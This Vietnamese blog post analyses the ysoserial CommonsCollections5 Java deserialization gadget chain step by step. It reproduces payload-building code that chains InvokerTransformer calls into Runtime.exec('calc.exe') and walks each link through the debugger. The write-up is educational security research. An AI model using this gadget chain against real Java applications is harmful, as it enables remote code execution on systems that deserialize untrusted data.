Try   HackMD

Sau khi đã làm quen với gadgetchain và cách debug trong InteliJ, mình tiếp tục phân tích CommonsCollections5, gadgetchain này hoạt động ở version 3.1 của thư viện Commons Collections.

CommonsCollections5 nằm trong bộ gadgetchains CommonsCollections 1-7 nhằm khai thác thư viện Commons Collections, bộ gadgetchain này về cơ bản cũng đều lợi dụng class InvokerTransformerInstantiateTransformer để invoke method.

Bài phân tích mình tham khảo blog nàyblog này, các bạn có thể xem bài viết gốc để hiểu rõ về chain

CommonsCollections5

Setups

Vì chain này dùng để khai thác thư viện, nên trước hết ta cần include thư viện vào.

Chọn File -> Project Structure

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Nhấn vào dấu + -> Libary -> From Maven...

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Chọn commons-collections:3.1 và nhấn OK

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Tiếp theo để test exploit, mình dùng ysoserial để gen payload

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Run code

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Analysis

Gadgetchain này bao gồm:

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        TiedMapEntry.getValue()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()

Đoạn code gen payload của ysoserial

...
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) 
};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

Để dễ dàng phân tích thì mình reconstruct lại đoạn code gen payload tại local (không quan trọng lắm)

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
ChainedTransformer chain = new ChainedTransformer(transformers);

Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, 1);

BadAttributeValueExpException badattr =  new BadAttributeValueExpException(new Object());
try {
    Class temp = Class.forName("javax.management.BadAttributeValueExpException");
    Field arg = temp.getDeclaredField("val");
    arg.setAccessible(true);
    arg.set(badattr, tied);
} catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException e) {
    throw new RuntimeException(e);
}

Để dễ theo dõi thì mình tách ra làm 2 phần để phân tích là trước khi gọi ChainedTransformer.transform() và khi gọi ChainedTransformer.transform()

Before ChainedTransformer.transform()

okie bắt đầu debug thoiii, đầu tiên mình Ctrl+N để nhảy vào BadAttributeValueExpException để xem method readObject

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Để đi đến mắt xích tiếp theo trong chain thì dòng val = valObj.toString() phải được gọi với valObj = TiedMapEntry

Tuy nhiên để ý code genpayload lại dùng Reflection API để set val = TiedMapEntry thay vì set trực tiếp.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Nguyên nhân là do đâu vậy ?

Quay trở lại BadAttributeValueExpException, khi object của class này được tạo, constructor của nó sẽ set this.val = val.toString() nếu val != null

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Do đó nếu ta set trực tiếp val thì val.toString() được gọi, gadgetchain sẽ được trigger ngay tại constructor của BadAttributeValueExpException mà không cần gọi đến readObject. Hay nói cách khác điều này có nghĩa là không cần deserialize thì payload vẫn được thực thi.

Ta có thể kiểm chứng bằng cách set trực tiếp giá trị, và thực thi code mà không cần deserialize

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, 1);

BadAttributeValueExpException badattr =  new BadAttributeValueExpException(tied);

Khi thực thi đoạn code trên thì calc tự động popup

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Do đó khi debug Java nên debug kỹ cẩn thận những cú lừa như thế này

Khi biết được lý do tại sao cần dùng đến Reflection API, chúng ta tiếp tục đi đến mắt xích tiếp theo trong chain là TiedMapEntry.toString()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

toString gọi đến TiedMapEntry.getValue()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

getValue() gọi this.map.get(this.key), mà this.map chính là Lazymap mà ta khai báo

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Do đó this.map.get(this.key) tương đương với LazyMap.get(1)

Tiếp tục LazyMap.get gọi đến this.factory.transform()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Với this.factory chính là ChainedTransformer mà ta truyền vào

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Vậy thì this.factory.transform() tương đương với ChainedTransformer.transform()

Note: trước khi đi qua phần 2, thì nếu trong quá trình debug mà calc có popup nhiều lần thì các bạn có thể tham khảo lời giải thích tại bài viết gốc của anh @Jang, cụ thể nguyên văn trong bài viết gốc như sau:
"Khi dừng tại breakpoint, muốn show được ra các variable thì debugger phải bằng cách nào đó lấy được các variable được khai báo trước breakpoint. Theo như suy đoán của mình, sau khi lấy được các variable dưới dạng object, và để show lại cho người dùng dưới dạng tường minh, nghĩa là dạng Human-readable. Dạng Human-readable là gì? Là String chứ còn gì nữa ¯_(ツ)_/¯.
Ở đây để có thể lấy về Object dưới dạng String, debugger đã “ngầm” invoke method toString() của object variable muốn show ra cho người dùng, như trong trường hợp hiện tại thì debugger đã lén invoke method toString() của valObject và khiến cho các chain về sau được thực thi luôn -> calc pop up!"

ChainedTransformer.transform()

okiê, từ phần này xuống các mắt xích sau chính là phần đặc sắc và tinh túy nhất của gadgetchain này.

Code tại ChainedTransformer.transform() như sau:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Tại đây nó sẽ thực hiện một vòng for đi qua mảng this.iTransformers, mảng này cũng chính là giá trị ta truyền vào được set thông qua constructor.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Mỗi phần tử trong mảng này là một abstract của intergace Transformer, các giá trị của mảng iTransformers:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Mỗi lần lặp thì code sẽ lấy ra 1 object trong iTransformers và gọi method transform() của object đó, sau đó kết quả return sẽ được dùng làm parameter cho method tranform() của vòng lặp sau. Có thể tóm tắt đơn giản như sau:

object0 = ConstantTransformer.transform(Runtime.class) // Runtime.class là object ta truyền vào
object1 = InvokerTransformer.transform(object0)
object2 = InvokerTransformer.transform(object1)
object3 = InvokerTransformer.transform(object2)
Lần lặp thứ 1, i=0

Tại lần lặp đầu tiên ConstantTransformer.transform(Runtime.class) sẽ được gọi

Method transform của ConstantTransformer đơn giản chỉ return lại chính object input:

Tiếp tục kết quả trả về là Runtime.class được lấy làm parameter cho transform ở lần lặp thứ 2

Lần lặp thứ 2, i=1

Tại lần lặp này InvokerTransformer.transform() được gọi. Đến đoạn này mọi người phải giữ cái đầu lạnh bởi vì nó khá quằng 🧊🤯
Code xử lý của InvokerTransformer.transform()

Ta chỉ cần tập trung code từ dòng 59-61, đầu tiên tại dòng 59 dùng Reflection API gọi đến class của input, tức là input.getClass() = Runtime.class.getClass() = class Class()

Vì mọi class trong Java đều là object của class Class() , mà Runtime.class là một class nên nó là object của Class(), nên khi gọi Runtime.class.getClass() ta sẽ được class Class(), dùng class để gọi class, use stones to destroy stones 🤷

Tiếp tục tại dòng 60 sẽ dùng Reflection API getMethod để lấy method từ Class() mà method muốn lấy là this.iMethodName cũng chính là getMethod mà ta khai báo

Kết quả của nó:

Code tiếp tục gọi Reflection API invoke để thực thi method getMethod, với inputRuntime.classthis.iArgs cũng là giá trị ta khai báo

Tóm lại dòng return method.invoke(input, this.iArgs) tương tự như đang thực hiện Runtime.class.getMethod(“getRuntime”, …)

Sau khi thực thi xong trả về cho ta object sau để dùng cho lần lặp tiếp theo:

Có thể tóm gọn những gì mình nói ở trên bằng hình sau:

Khi nắm rõ được logic code tại lần lặp này rồi, thì mọi người sẽ dễ dàng debug các vòng lặp sau, bởi vì logic các vòng sau là không đổi, chỉ khác mỗi input và ouput

Lần lặp thứ 3, i=2

Tiếp tục lặp lần nữa, lúc này cls = input.getClass() = Runtime.getRuntime().class = reflect.Method

method = cls.getMethod(this.iMethodName, this.iParamTypes) = reflect.Method.invoke()

Cuối cùng method.invoke(input, this.iArgs) = Runtime.getRuntime().invoke(), tức là mình gọi invoke để invoke thằng Runtime.getRuntime() =))))))))

Sau khi invoke xong ta đã chính thức có được object Runtime để dùng cho vòng lặp tiếp theo

Lần lặp thứ 4, i=3

Đến đây thì tương tự như vòng lặp trước thôi, nhưng method sẽ là exec để thực hiện RCE

method.invoke(input, this.iArgs) = Runtime.getRuntime().exec('calc.exe')

Nhấn F8 đi qua vòng lặp này ngay lập tức calc popup

Bonus

Nếu nhìn vào 3 dòng code làm nên gadgetchain này

3 dòng trên vừa có thể getMethod vừa invokde, vậy thì không phải chỉ cần

input = Runtime.getRuntime()
iMethodName = 'exec'
iArgs = 'cacl.exe'

thì ta có thể popup được calc rồi

Code test

InvokerTransformer test = new InvokerTransformer("exec",new Class[] {String.class}, new Object[]{ "calc.exe"});
test.transform(Runtime.getRuntime());

Tuy nhiên khi thử đưa vào ChainedTransformer thì có thể popup cacl khi thực thi local, tuy nhiên khi đưa vào hàm serialize và deserialze thì không thể thực thi được mà có lỗi như sau:

Nguyên nhân là do class Runtime không được implement Serializable interface.

Do đó để trong quá trình deser nếu muốn gọi đến được methods exec của Runtime ta phải dùng Reflection API

Ví dụ

Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
rt.exec("calc.exe");

Chính vì thế trong gadgetchain ta cần phải khai báo một mảng các object của interface Transform nhằm mục đích gọi đến method exec của Runtime.getRuntime() mà không cần phải khởi tạo object Runtime


Refer

https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2

https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/